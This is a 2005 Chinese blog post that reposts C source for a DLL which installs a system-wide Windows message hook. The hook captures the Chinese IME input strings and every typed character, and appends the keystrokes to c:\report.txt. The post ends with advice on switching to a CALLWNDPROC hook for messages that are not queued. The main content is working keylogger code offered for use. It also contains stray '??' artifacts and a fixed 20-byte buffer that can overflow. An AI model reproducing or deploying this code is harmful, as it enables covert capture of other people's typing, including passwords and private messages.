blog

枪手亨利

博客园 首页 新随笔 联系 订阅 管理

关于HOOK截入中文输入

//HOOK IME TO GET CHINESE INPUT CHAR
//MAKE BY ZWELL
//2004.12.9
//THIS WILL BUILD HOOK.DLL, IF YOU WANT TO USE, JUST USE THE EXPORT FUNCTION INSTALLHOOK
//ADDTION: YOU MUST ADD THE IMM32.LIB INTO PROJECT, OTHERWISE, IT CAN NOT BE PASS...^_^
#include "windows.h"
#include "imm.h"
#include "stdio.h"

#define HOOK_API __declspec(dllexport)

HHOOK g_hHook = NULL;               //hook句柄
HINSTANCE g_hHinstance = NULL;        //程序句柄

LRESULT CALLBACK MessageProc(int nCode,WPARAM wParam,LPARAM lParam)
{
       LRESULT lResult = CallNextHookEx(g_hHook, nCode, wParam, lParam);
       PMSG pmsg = (PMSG)lParam;
       if (nCode == HC_ACTION)
      {
               switch (pmsg->message)
               {
               case WM_IME_COMPOSITION:
                      {
                                   HIMC hIMC;
                                   HWND hWnd=pmsg->hwnd;
                                   DWORD dwSize;
                                   char ch;
                                   char lpstr[20];
                                   if(pmsg->lParam & GCS_RESULTSTR)
                                   {
                                   //先获取当前正在输入的窗口的输入法句柄
                                   hIMC = ImmGetContext(hWnd);
                                   if (!hIMC)
                                   {
                                               MessageBox(NULL, "ImmGetContext", "ImmGetContext", MB_OK);
                                   }

                                   // 先将ImmGetCompositionString的获取长度设为0来获取字符串大小.
                                   dwSize = ImmGetCompositionString(hIMC, GCS_RESULTSTR, NULL, 0);

                                   // 缓冲区大小要加上字符串的NULL结束符大小,
                                   //?? 考虑到UNICODE
                                   dwSize += sizeof(WCHAR);

                                   memset(lpstr, 0, 20);

                                   // 再调用一次.ImmGetCompositionString获取字符串
                                   ImmGetCompositionString(hIMC, GCS_RESULTSTR, lpstr, dwSize);

                                   //现在lpstr里面即是输入的汉字了。你可以处理lpstr,当然也可以保存为文件...
                                   MessageBox(NULL, lpstr, lpstr, MB_OK); 
                                   ImmReleaseContext(hWnd, hIMC);
                            }
                     }
                     break;
              case WM_CHAR:??//截获发向焦点窗口的键盘消息
                     {
                            FILE* f1;
                            f1=fopen("c:\\report.txt","a+");
                            ch=(char)(pmsg->wParam);
                            fwrite(&ch,1,1,f1);
                            fclose(f1);????
                     }
                     break;
              }
       }

       return(lResult);
}

HOOK_API BOOL InstallHook()
{
       g_hHook = SetWindowsHookEx(WH_GETMESSAGE,(HOOKPROC)MessageProc,g_hHinstance,0);
       return TRUE;
}

HOOK_API BOOL UnHook()
{
       return UnhookWindowsHookEx(g_hHook);
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                                          DWORD??ul_reason_for_call, 
                                           LPVOID lpReserved
                                           )
{
       switch (ul_reason_for_call)
       {
       case DLL_PROCESS_ATTACH:
              g_hHinstance=hModule;
              break;
       case DLL_THREAD_ATTACH:
              break;
       case DLL_THREAD_DETACH:
              break;
       case DLL_PROCESS_DETACH:
              UnHook();
              break;
       }
       return TRUE;
}

/////////////////////////////////////////
hool.def模块:
/////////////////////////////////////////
LIBRARY????HOOK

EXPORTS
       InstallHook
       UnHook


其实还有一点是要考虑到的,就是我们现在用到的是消息钩子,也就是说只能HOOK到入队的消息,
一旦程序用到了不入队消息的话,这种方法就是不可取的了,这时候就要考虑用到CALLPROC钩子.
希望对大家有用. ^_^
posted on 2005-10-25 23:02  henry  阅读(939)  评论(0编辑  收藏  举报